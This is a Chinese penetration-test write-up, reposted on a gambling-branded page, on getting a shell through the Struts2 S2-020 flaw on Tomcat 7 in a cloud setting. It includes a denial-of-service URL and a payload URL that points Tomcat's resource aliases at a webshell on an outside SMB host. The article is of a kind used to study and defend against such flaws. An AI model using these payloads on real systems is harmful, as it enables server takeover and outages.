在云环境下tomcat7存在struts2-亚博电竞手机版

在云环境下tomcat7存在struts2-020是如何getshell的

这期内容当中小编将会给大家带来有关在云环境下tomcat7存在struts2-020是如何getshell的,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。

在一次给某甲方做模拟攻击中发现某网站存在struts2-020,但是中间件是tomcat7不能直接getshell。

一、struts2-020漏洞原理

object是java的基础类,所有的class生成的对象,都会继承object的所有属性和方法,因此当前action无论是什么代码,必须有object自带的getclass方法,这个方法会返回一个class对象,class对象又一定会有getclassloader方法,最终在每个action都可以操控class。struts2-020允许访问直接映射到“getclass()”方法的“class”参数 ,这可以被利用来操纵所使用的应用程序服务器的classloader。简而言之就是可以通过classloader操控tomcat的一些配置属性,这个漏洞在tomcat8下是可以getshell的。如下图为tomcat8部分可控属性。

tomcat8如何getshell在网上一大堆这里就不演示了,大概步骤如下

1.更改tomcat log为可执行文件,更改log文件名,更改日志路径至web目录下

2.初始化日志文件

3.通过url访问,在日志中写入一句话

4.菜刀连接一句话成功getshell

二、tomcat7如何getshell?

一开始以为struts2-010在tomcat下都能getshell,疯狂操作下一直失败,百度后才知道tomcat7无法操控日志属性。只能重定向web目录造成拒绝服务攻击。

拒绝服务攻击:

http://127.0.0.1/s/example/helloworld.action?class.classloader.resources.dircontext.docbase=”乱填就好”

但是只挖到一个拒绝服务攻击无法向甲方交差呀,甲方交不了差,老板就不高兴,老板不高兴,我的绩效考核危矣。拒绝服务攻击更是不敢打,上次模拟攻击把甲方服务打瘫了,最后一个外包也离我而去了,难顶还是得顶。

2.1本地枯燥调试

无奈之下只能在本地搭建环境把所有可操控的属性枚举出来。

把一个个属性试过去,看是否能利用的,挨个简单更改属性值后通过日志和变化来判断,发现并不能getshell,当我正要放弃的时候脑子里飘过一个红色的身影,亲切地对我说没有攻不破的系统,只有不努力的黑客。瞬间斗志满满!!!

2.2谷歌大法好

谷歌作为技术人员的好朋友,碰到技术问题谷歌就对了,一顿搜索之后在一篇老毛子写的文章中写到class.classloader.parent.resources.dircontext.aliases不仅仅可以任意文件读取,文件路径是支持unc path的即smb路径。这时候我就想既然支持smb路径,搞个文件共享时候能执行命令?只要把文件共享设置为eve任何人可以访问就可以让网站读取到可执行文件,指不定就能执行了!!!

2.3本地搭建smb服务并测试

搭建过程操作不难,在文件共享中放入一句话木马,再把网站的别名路径映射到smb服务器。

payload:

http://127.0.0.1:8080/struts2-blank/hello.action?class.classloader.parent.resources.dircontext.aliases=\\192.168.1.1\muma.jsp

菜刀一连成功连接:

三、云环境测试

因为目标是在云环境上,众所周知云环境大部分都是不对外开放445端口的。但是通过信息收集发现所在目标是在一个野鸡云环境上,因为之前接触过几家野鸡云服务器厂商,他们c段的445端口是互通的。我就在想这家厂商是否也存在这样的配置漏洞?

3.1金钱的力量

本来想在c段撸下一台服务器作为smb服务器的,但是作为正义的白帽子怎么能做此等龌龊的事?只能把方案提出来,提交到上级申请经费。最后以目标ip旁边的某个ip数字吉利为由,通过客服以1.5倍的价格买下了目标相邻的服务器,最终发现的确存在配置不当。c段的445端口可以相互访问从而getshell成功。

网站渗透很少有一个poc或者exp直接打穿的,遇到难题多思考,多搜索。

上述就是小编为大家分享的在云环境下tomcat7存在struts2-020是如何getshell的了,如果刚好有类似的疑惑,不妨参照上述分析进行理解。如果想知道更多相关知识,欢迎关注恰卡编程网行业资讯频道。

展开全文
内容来源于互联网和用户投稿,文章中一旦含有亚博电竞手机版的联系方式务必识别真假,本站仅做信息展示不承担任何相关责任,如有侵权或涉及法律问题请联系亚博电竞手机版删除

最新文章

网站地图